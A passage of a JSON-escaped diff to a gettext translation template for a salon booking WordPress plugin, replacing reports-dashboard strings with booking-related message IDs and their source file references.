views\u002Fadmin\u002Freports-dashboard.php:466, views\u002Fadmin\u002Freports-dashboard.php:486, views\u002Fadmin\u002Freports-dashboard.php:528, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:277, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:345, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:466, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:486, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:528, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:345, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:466, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:486, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:273, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:394, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:414, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:456, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:486, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:466, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:486, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:528\n-msgid \"PRO Feature\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32\n+msgid \"Booking Services\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:193\n-msgid \"Unlock advanced booking pattern analysis\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:39\n+msgid \"Booking services.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:195, views\u002Fadmin\u002Freports-dashboard.php:280, views\u002Fadmin\u002Freports-dashboard.php:348, views\u002Fadmin\u002Freports-dashboard.php:469, views\u002Fadmin\u002Freports-dashboard.php:489, views\u002Fadmin\u002Freports-dashboard.php:531, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:280, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:348, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:469, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:489, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:531, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:280, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:348, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:469, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:489, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:397, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:459, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:531, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:280, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:348, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:531\n-msgid \"Upgrade to PRO\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:488\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:488\n+msgid \"Booking session is invalid. Please start a new booking.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:205, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205\n-msgid \"Capacity & Peak Times\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:141\n+msgid \"Booking statistics\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:211, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:215\n-msgid \"Utilization Rate\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:891\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:81\n+msgid \"Booking status\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:228, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:228, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:224, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:228, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:228\n-msgid \"Peak Day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:149\n+msgid \"Booking statuses.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:239, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:239, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:239\n-msgid \"Peak Hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:13\n+msgid \"Booking steps order\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:250, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:250, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:250\n-msgid \"Avg. Daily Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:629\n+msgid \"Booking submitted.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:252, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:252, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:252\n-msgid \"per working day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:657\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:642\n+msgid \"Booking summary\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:15\n+msgid \"Booking time range\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_timing.php:11\n+msgid \"\"\n+\"Booking time range \u003Cspan>Define the time range in wich customers may book an \"\n+\"appointment\u003C\u002Fspan>\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:614\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:618\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:614\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:618\n+msgid \"Booking updated.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:893\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:895\n+msgid \"Booking URL\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fbooking_rated.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fbooking_rated.php:11\n+msgid \"Booking was rated\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403\n+#, php-format\n+msgid \"Booking: %s\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:394\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:527\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:669\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:673\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 